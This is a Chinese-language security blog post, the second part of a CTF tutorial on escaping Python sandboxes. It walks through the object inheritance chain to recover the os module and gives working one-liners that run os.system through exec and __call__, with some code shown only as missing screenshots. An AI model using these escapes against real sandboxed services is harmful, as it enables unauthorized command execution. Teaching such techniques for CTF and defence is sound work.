阅读本文大概需要 5 分钟。
”2020年 第 20 篇文章 ,flag 继续
每周至少更一篇
大家如果喜欢我的分享,一定要点在看和分享到朋友圈。现在公众号是信息流模式,对于无法天天更新的原创号来说是不利的,希望大家能与我一起坚持下去。
有你们的坚持,才有更好的世界。
下面是我的微信号,想进行技术交流的可以加我,备注公众号,卖货的,伸手党不要加我,谢谢。
理理思路
在上一篇文章中,我总结了Python沙箱逃逸这道CTF题涉及的主要知识点 ,其中上篇讲解了其中两个,本篇继续。
Python 如何导包
Python 如何执行代码和命令
Python 文件读取
内置模块
对象创建与引用
实践出真知
如果沙箱不让我们导入外部模块,或者是要导入的模块被禁用,那我们只能求助于Python的内部模块__builtins__( 即Python 本身默认已经导入模块中的函数)。
dir内置函数可以列出一个模块/类/对象下面所有的属性和函数,查看一下__builtins__中的函数:
>> dir(__builtins__)
[['ArithmeticError', 'AssertionError', 'AttributeError', 'BaseException', 'BlockingIOError', 'BrokenPipeError', 'BufferError', 'BytesWarning', 'ChildProcessError', 'ConnectionAbortedError', 'ConnectionError', 'ConnectionRefusedError', 'ConnectionResetError', 'DeprecationWarning', 'EOFError',
, ....]
为什么dir可以查看__builtins__ 函数呢?本质上是每个模块/类/对象/ 有一个__dict__ 字段,通过遍历 __dict__ 得到里面包含的属性和函数。
例如,我们可以引用__import__ 来导入os,并执行命令:
当导入的函数,模块都变成字符串模式时,所有的静态检测手段都会失效,因为我们可以通过各种编码手段进行混淆。
由于内置模块中的危险函数过多,比如eval,exec等,导致上文使用的沙箱对__builtins__进行了处理,通过 del 关键字将里面的所有函数引用都删除了。
del __builtins__.__dict__['xxx']
如果保留reload内置函数,我们还可以通过 reload( __builtins__) 恢复,但是现在通过__builtins__来进行逃逸已经不现实了。
在上一节中,不知道大家有没有注意到 我说的一句话:
上文沙箱将__builtins__中的所有函数引用都删除
删除的是只是函数引用,而不是函数本身,如果你们熟悉C语言的话,函数引用可以理解为函数指针,既然__builtins__中的引用没了,那我们就需要从其他地方找到敏感函数的引用,从而实现逃逸。
在Python中一切皆是对象,比如常见的 "",[],(),{} ,我们可以使用type函数查看他们的类型:
>>> type("")
<type 'str'>
>>> type([])
<type 'list'>
>>> type(())
<type 'tuple'>
>>> type({})
<type 'dict'>
>>> type(1)
<type 'int'>
>>> type(1.1)
<type 'float'>
我们可以通过这些Python 内置类型的继承链来寻找更多的引用,以下字段是寻找继承链的关键:
__class__ :返回一个实例所属的类
__bases__ :返回一个类直接所继承的类(元组形式)
__mro__ :列出解析方法的调用顺序
__subclasses__():返回子类列表
__dict__ :列出当前属性/函数的字典
func_globals:返回一个包含函数全局变量的字典引用 (python2)
__globals__:返回一个当前空间下能使用的模块,方法和变量的字典 (python2,python3)
其中 __bases__ 和__mro__ 类似的,用来寻找父类,__subclasses__()用来寻找子类。示例如下:
>>> [].__class__.__bases__
(<type 'object'>,)
>>> [].__class__.__mro__
(<type 'list'>, <type 'object'>)
>>> [].__class__.__mro__[-1].__subclasses__()
[<<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>,
假如我们想在Python3中调用os模块中system方法,而不用 import os ,就可以采用这种方式:
但是大家可能会发现,这么多的类哪些 符合要求呢?给大家一个小脚本,遍历出os模块的引用:
结果如下:
(72, <class 'site._Printer'>, 'os', <module 'os' from 'D:\anaconda2\lib\os.pyc'>, <module 'os' from 'D:\anaconda2\lib\os.pyc'>)
(77, <class 'site.Quitter'>, 'os', <module 'os' from 'D:\anaconda2\lib\os.pyc'>, <module 'os' from 'D:\anaconda2\lib\os.pyc'>)
(98, <class 'socket._socketobject'>, 'os', <module 'os' from 'D:\anaconda2\lib\os.pyc'>, <module 'os' from 'D:\anaconda2\lib\os.pyc'>)
(99, <class 'socket._fileobject'>, 'os', <module 'os' from 'D:\anaconda2\lib\os.pyc'>, <module 'os' from 'D:\anaconda2\lib\os.pyc'>)
如果想寻找其他模块,例如 sys,__builtins__, 都可以往代码中列表中添加。
还有一种是利用builtin_function_or_method 的 __call__,找到对应的序号:
使用exec执行:
[].__class__.__mro__[-1].__subclasses__()[34].__call__(exec, 'import os;os.system("whoami")')
[].__getattribute__('append').__class__.__call__(exec, 'import os;os.system("whoami")')
下篇敬请期待,代码的排版还得优化一下,有点乱,只能截图代替了。
原创不易,希望大家能积极分享,点在看
沙盒syscall监控组件:strace and wtrace
无"命令"反弹shell-逃逸基于execve的命令监控(上)
如果大家喜欢这篇文章的话,请不要吝啬分享到朋友圈,并置顶公众号。
关注公众号:七夜安全博客
回复【11】:领取Sandboxie源码
回复【1】:领取 Python数据分析 教程大礼包
回复【2】:领取 Python Flask 全套教程
回复【3】:领取 某学院 机器学习 教程
回复【4】:领取 爬虫 教程
回复【5】:领取编译原理 教程
回复【6】:领取渗透测试教程
回复【7】:领取人工智能数学基础
回复【8】:领取 python神经网络 教程
回复【9】:领取 安卓逆向 教程